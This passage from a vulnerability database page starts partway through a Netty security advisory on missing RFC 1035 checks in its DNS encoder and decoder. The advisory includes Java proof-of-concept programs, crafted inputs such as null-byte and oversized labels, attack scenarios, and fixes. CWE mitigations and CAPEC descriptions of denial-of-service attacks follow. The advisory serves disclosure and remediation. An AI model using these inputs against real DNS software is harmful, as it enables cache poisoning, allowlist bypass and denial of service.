  "details": "# Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-dns) |\n| **Component** | `io.netty.handler.codec.dns.DnsCodecUtil` |\n| **Vulnerability Type** | CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption |\n| **Impact** | DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets |\n\n## 2. Affected Components\n\nBoth the encoder and decoder in the same file are affected:\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` \u2014 `encodeDomainName()` method (lines 31-51):\n  - No null byte validation in domain name labels\n  - No per-label length validation (RFC 1035 max: 63 bytes)\n  - No total domain name length validation (RFC 1035 max: 255 bytes)\n  - Empty labels silently truncate the domain name\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` \u2014 `decodeDomainName()` method (lines 53-118):\n  - No per-label length validation (max 63)\n  - No total domain name length validation (max 255)\n  - Unbounded StringBuilder growth from attacker-controlled DNS responses\n\n## 3. Vulnerability Description\n\nNetty\u0027s DNS codec does **not enforce RFC 1035 domain name constraints** during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder.\n\n### 3.1 Encoder Side \u2014 Null Byte Injection (CWE-626)\n\nA domain name containing a null byte (e.g., `\"evil\\0.example.com\"`) is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently:\n\n- **Java (full string)**: sees `\"evil\\0.example.com\"` as a single label containing a null\n- **C/native DNS libraries**: truncate at the null byte, seeing only `\"evil\"`\n- **DNS servers**: may accept or reject based on implementation\n\nThis differential interpretation enables **DNS cache poisoning** and **domain validation bypass**.\n\n### 3.2 Encoder Side \u2014 Overlength Label (RFC 1035 Violation)\n\nLabels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes `0xC8` (200) as the length. Per RFC 1035, values 192-255 indicate **compression pointers**. This means:\n\n- A 200-byte label length `0xC8` would be interpreted as a **compression pointer** by standards-compliant DNS parsers\n- This creates **parser confusion** between label and pointer interpretation\n\n### 3.3 Encoder Side \u2014 Silent Truncation via Empty Labels\n\n```java\nencodeDomainName(\"a..b.com\", buf);\n// Encodes as: [01] \u0027a\u0027 [00]\n// Only \"a.\" is encoded, \".b.com\" is silently dropped!\n```\n\nAn attacker can craft input like `\"safe-domain..evil.com\"` which gets truncated to just `\"safe-domain.\"`, potentially bypassing domain allowlists.\n\n### 3.4 Decoder Side \u2014 Unbounded Memory Allocation\n\nThe decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation.\n\n### Root Cause \u2014 Encoder\n\n```java\n// DnsCodecUtil.java:31-51\nstatic void encodeDomainName(String name, ByteBuf buf) {\n    if (ROOT.equals(name)) {\n        buf.writeByte(0);\n        return;\n    }\n    final String[] labels = name.split(\"\\\\.\");\n    for (String label : labels) {\n        final int labelLen = label.length();\n        if (labelLen == 0) {\n            break;  // NO ERROR - silently truncates!\n        }\n        // NO check: labelLen \u003e 63\n        // NO check: label contains null bytes\n        // NO check: total name \u003e 255 bytes\n        buf.writeByte(labelLen);                    // Can write values \u003e 63!\n        ByteBufUtil.writeAscii(buf, label);         // Null bytes pass through!\n    }\n    buf.writeByte(0);\n}\n```\n\n### Root Cause \u2014 Decoder\n\n```java\n// DnsCodecUtil.java:94-99 (decodeDomainName)\n} else if (len != 0) {\n    if (!in.isReadable(len)) {  // Only checks if bytes EXIST, not if len \u003c= 63\n        throw new CorruptedFrameException(\"truncated label in a name\");\n    }\n    name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append(\u0027.\u0027);\n    //    ^^^^^^ StringBuilder grows WITHOUT any length limit\n    in.skipBytes(len);\n}\n```\n\n**Missing checks in decoder**:\n- No `if (len \u003e 63)` check per RFC 1035 Section 2.3.4\n- No `if (name.length() \u003e 255)` check for total domain name length\n\n## 4. Exploitability Prerequisites\n\n### Encoder Side (outbound)\n1. An application constructs DNS queries using Netty\u0027s DNS codec with user-influenced domain names\n2. The constructed DNS packets are sent to DNS servers or resolvers\n\n### Decoder Side (inbound)\n1. An application uses Netty\u0027s `codec-dns` or `resolver-dns` module to process DNS responses\n2. The application communicates with a malicious or compromised DNS server\n\n**Attack surface**: Any Netty application using DNS resolution (`DnsNameResolver`) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames.\n\n## 5. Attack Scenarios\n\n### Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)\n\n```java\nString hostname = userInput;  // \"evil\\0.trusted.com\"\nDnsQuery query = new DefaultDnsQuery(...)\n    .addRecord(DnsSection.QUESTION,\n        new DefaultDnsQuestion(hostname, DnsRecordType.A));\n```\n\nThe DNS query for `\"evil\\0.trusted.com\"` may be interpreted by some resolvers as a query for `\"evil\"` (truncated at null). If the attacker controls the DNS for `\"evil\"`, they can return a response that gets cached for `\"evil\\0.trusted.com\"` (or vice versa), poisoning the cache.\n\n### Scenario 2: Label/Pointer Confusion (Encoder)\n\nA 200-byte label writes length byte `0xC8`. Standards-compliant parsers interpret `0xC0-0xFF` as **compression pointer** prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous:\n\n```\nByte:  [C8] [61 61 61 ... (200 bytes)]\n         \u2191\n   Label interpretation: 200-byte label starting with \u0027a\u0027\n   Pointer interpretation: pointer to offset 0x0861 = 2145\n```\n\n### Scenario 3: Memory Exhaustion via Large Labels (Decoder)\n\nA malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation.\n\n### Scenario 4: Domain Truncation via Empty Label (Encoder)\n\n```java\nencodeDomainName(\"safe-domain..evil.com\", buf);\n// Only \"safe-domain.\" is encoded, \"evil.com\" silently dropped\n```\n\nThis can bypass domain allowlists that check the input string.\n\n### Scenario 5: Downstream Processing Failures (Decoder)\n\nApplications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names \u003e 255 bytes, as these systems typically assume RFC 1035 compliance.\n\n## 6. Proof of Concept\n\n### PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsEncoderNullBytePoC {\n    public static void main(String[] args) throws Exception {\n        System.out.println(\"=== Netty DNS Encoder Validation Bypass PoC ===\\n\");\n\n        Class\u003c?\u003e clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n        Method encode = clazz.getDeclaredMethod(\"encodeDomainName\",\n            String.class, ByteBuf.class);\n        encode.setAccessible(true);\n\n        // Test 1: Null byte in domain name\n        ByteBuf buf = Unpooled.buffer(256);\n        encode.invoke(null, \"evil\\0.example.com\", buf);\n        byte[] bytes = new byte[buf.readableBytes()];\n        buf.readBytes(bytes);\n        buf.release();\n        System.out.print(\"[TEST 1] Null byte - Encoded: \");\n        for (byte b : bytes) System.out.printf(\"%02x \", b \u0026 0xff);\n        System.out.println(\"\\nVULNERABLE: Null byte 0x00 in label data!\");\n\n        // Test 2: 200-byte label\n        ByteBuf buf2 = Unpooled.buffer(512);\n        encode.invoke(null, \"a\".repeat(200) + \".com\", buf2);\n        System.out.println(\"\\n[TEST 2] 200-byte label encoded: \" + buf2.readableBytes() + \" bytes\");\n        System.out.println(\"VULNERABLE: Overlength label accepted!\");\n        buf2.release();\n\n        // Test 3: Empty label truncation\n        ByteBuf buf3 = Unpooled.buffer(256);\n        encode.invoke(null, \"a..b.com\", buf3);\n        byte[] bytes3 = new byte[buf3.readableBytes()];\n        buf3.readBytes(bytes3);\n        buf3.release();\n        System.out.print(\"\\n[TEST 3] Empty label - Encoded: \");\n        for (byte b : bytes3) System.out.printf(\"%02x \", b \u0026 0xff);\n        System.out.println(\"\\nVULNERABLE: Domain silently truncated!\");\n    }\n}\n```\n\n### PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsDecoderLengthPoC {\n    public static void main(String[] args) throws Exception {\n        System.out.println(\"=== Netty DNS Decoder Length Bypass PoC ===\\n\");\n\n        Class\u003c?\u003e clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n        Method decode = clazz.getDeclaredMethod(\"decodeDomainName\", ByteBuf.class);\n        decode.setAccessible(true);\n\n        // Test 1: 100-byte label (RFC limit: 63)\n        ByteBuf buf1 = Unpooled.buffer(256);\n        buf1.writeByte(100);\n        buf1.writeBytes(\"a\".repeat(100).getBytes(StandardCharsets.US_ASCII));\n        buf1.writeByte(3);\n        buf1.writeBytes(\"com\".getBytes(StandardCharsets.US_ASCII));\n        buf1.writeByte(0);\n        String r1 = (String) decode.invoke(null, buf1);\n        buf1.release();\n        System.out.println(\"[TEST 1] 100-byte label: length=\" + r1.length() +\n            \" VULNERABLE=\" + (r1.length() \u003e 64));\n\n        // Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255)\n        ByteBuf buf2 = Unpooled.buffer(512);\n        for (int i = 0; i \u003c 5; i++) {\n            buf2.writeByte(60);\n            buf2.writeBytes(String.valueOf((char)(\u0027a\u0027+i)).repeat(60)\n                .getBytes(StandardCharsets.US_ASCII));\n        }\n        buf2.writeByte(0);\n        String r2 = (String) decode.invoke(null, buf2);\n        buf2.release();\n        System.out.println(\"[TEST 2] 305-byte domain: length=\" + r2.length() +\n            \" VULNERABLE=\" + (r2.length() \u003e 255));\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr \u0027\\n\u0027 \u0027:\u0027)\n\n# Encoder PoC\njavac -cp \"$JARS\" DnsEncoderNullBytePoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsEncoderNullBytePoC\n\n# Decoder PoC\njavac -cp \"$JARS\" DnsDecoderLengthPoC.java\njava --add-opens java.base/java.lang=ALL-UNNAMED -cp \"$JARS:.\" DnsDecoderLengthPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n**Encoder PoC:**\n```\n=== Netty DNS Encoder Validation Bypass PoC ===\n\n[TEST 1] Null byte in domain name\n  Input: \"evil\\0.example.com\"\n  Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00\n  Null byte in label data: true\n  VULNERABLE: YES - Null byte accepted!\n\n[TEST 2] Label \u003e 63 bytes in encoder\n  Input: \"aaaaaa...\" (200-char label)\n  Encoded bytes: 206\n  VULNERABLE: YES - Overlength label accepted in encoder!\n\n[TEST 3] Empty labels (consecutive dots)\n  Input: \"a..b.com\"\n  Encoded bytes: 01 61 00\n  Note: Empty label truncates the name (may lose data)\n```\n\n**Decoder PoC:**\n```\n=== Netty DNS Decoder Length Bypass PoC ===\n\n[TEST 1] Label \u003e 63 bytes (RFC 1035 violation)\n  Label length: 100 bytes (RFC limit: 63)\n  Decoded name length: 105\n  VULNERABLE: YES - Label \u003e 63 bytes accepted!\n\n[TEST 2] Domain \u003e 255 bytes via multiple labels\n  5 labels x 60 bytes = 300+ bytes total\n  RFC 1035 limit: 255 bytes\n  Decoded name length: 305\n  VULNERABLE: YES - Domain \u003e 255 bytes accepted!\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Integrity** | HIGH \u2014 Null byte injection causes differential interpretation across DNS implementations |\n| **Availability** | HIGH \u2014 Malicious DNS responses can cause unbounded memory allocation via decoder |\n| **DNS Cache Poisoning** | Different parsers see different domain names from the same encoded packet |\n| **Domain Validation Bypass** | Null bytes can bypass allowlist/blocklist checks in DNS proxies |\n| **Label/Pointer Confusion** | Length bytes \u003e 63 conflict with RFC 1035 compression pointer encoding |\n| **Silent Truncation** | Empty labels silently drop the remainder of the domain name |\n| **Downstream Failures** | Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries |\n\n## 8. Remediation Recommendations\n\n### Fix for Encoder (encodeDomainName)\n\n```java\nstatic void encodeDomainName(String name, ByteBuf buf) {\n    if (ROOT.equals(name)) {\n        buf.writeByte(0);\n        return;\n    }\n    int totalLength = 0;\n    final String[] labels = name.split(\"\\\\.\");\n    for (String label : labels) {\n        final int labelLen = label.length();\n        if (labelLen == 0) {\n            throw new IllegalArgumentException(\"DNS name contains empty label: \" + name);\n        }\n        if (labelLen \u003e 63) {\n            throw new IllegalArgumentException(\n                \"DNS label length \" + labelLen + \" exceeds maximum of 63: \" + name);\n        }\n        for (int i = 0; i \u003c label.length(); i++) {\n            if (label.charAt(i) == \u0027\\0\u0027) {\n                throw new IllegalArgumentException(\n                    \"DNS label contains null byte at index \" + i);\n            }\n        }\n        totalLength += 1 + labelLen;\n        if (totalLength \u003e 254) {\n            throw new IllegalArgumentException(\n                \"DNS name exceeds maximum length of 255: \" + name);\n        }\n        buf.writeByte(labelLen);\n        ByteBufUtil.writeAscii(buf, label);\n    }\n    buf.writeByte(0);\n}\n```\n\n### Fix for Decoder (decodeDomainName)\n\n```java\n// Add after \"} else if (len != 0) {\":\nif (len \u003e 63) {\n    throw new CorruptedFrameException(\"DNS label length \" + len + \" exceeds maximum of 63\");\n}\n// Add after \"name.append(...)\":\nif (name.length() \u003e 255) {\n    throw new CorruptedFrameException(\"DNS domain name length exceeds maximum of 255\");\n}\n```\n\n## 9. Resources\n\n- [RFC 1035 Section 2.3.4: Size Limits](https://tools.ietf.org/html/rfc1035#section-2.3.4)\n- [RFC 1035 Section 4.1.4: Message Compression](https://tools.ietf.org/html/rfc1035#section-4.1.4)\n- [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-400: Uncontrolled Resource Consumption](https://cwe.mitre.org/data/definitions/400.html)\n- [CWE-626: Null Byte Interaction Error](https://cwe.mitre.org/data/definitions/626.html)",
  "id": "GHSA-cm33-6792-r9fm",
  "modified": "2026-05-14T20:40:58Z",
  "published": "2026-05-07T00:12:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-cm33-6792-r9fm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42579"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://tools.ietf.org/html/rfc1035#section-2.3.4"
    },
    {
      "type": "WEB",
      "url": "https://tools.ietf.org/html/rfc1035#section-4.1.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty has a DNS Codec Input Validation Bypass (Encoder + Decoder)"
}

GHSA-CM5Q-FCM3-4M7V

Vulnerability from github – Published: 2022-09-14 00:00 – Updated: 2022-09-14 00:00
VLAI
Details

HTTP V3 Denial of Service Vulnerability.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-35838"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-13T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "HTTP V3 Denial of Service Vulnerability.",
  "id": "GHSA-cm5q-fcm3-4m7v",
  "modified": "2022-09-14T00:00:44Z",
  "published": "2022-09-14T00:00:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35838"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35838"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-35838"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list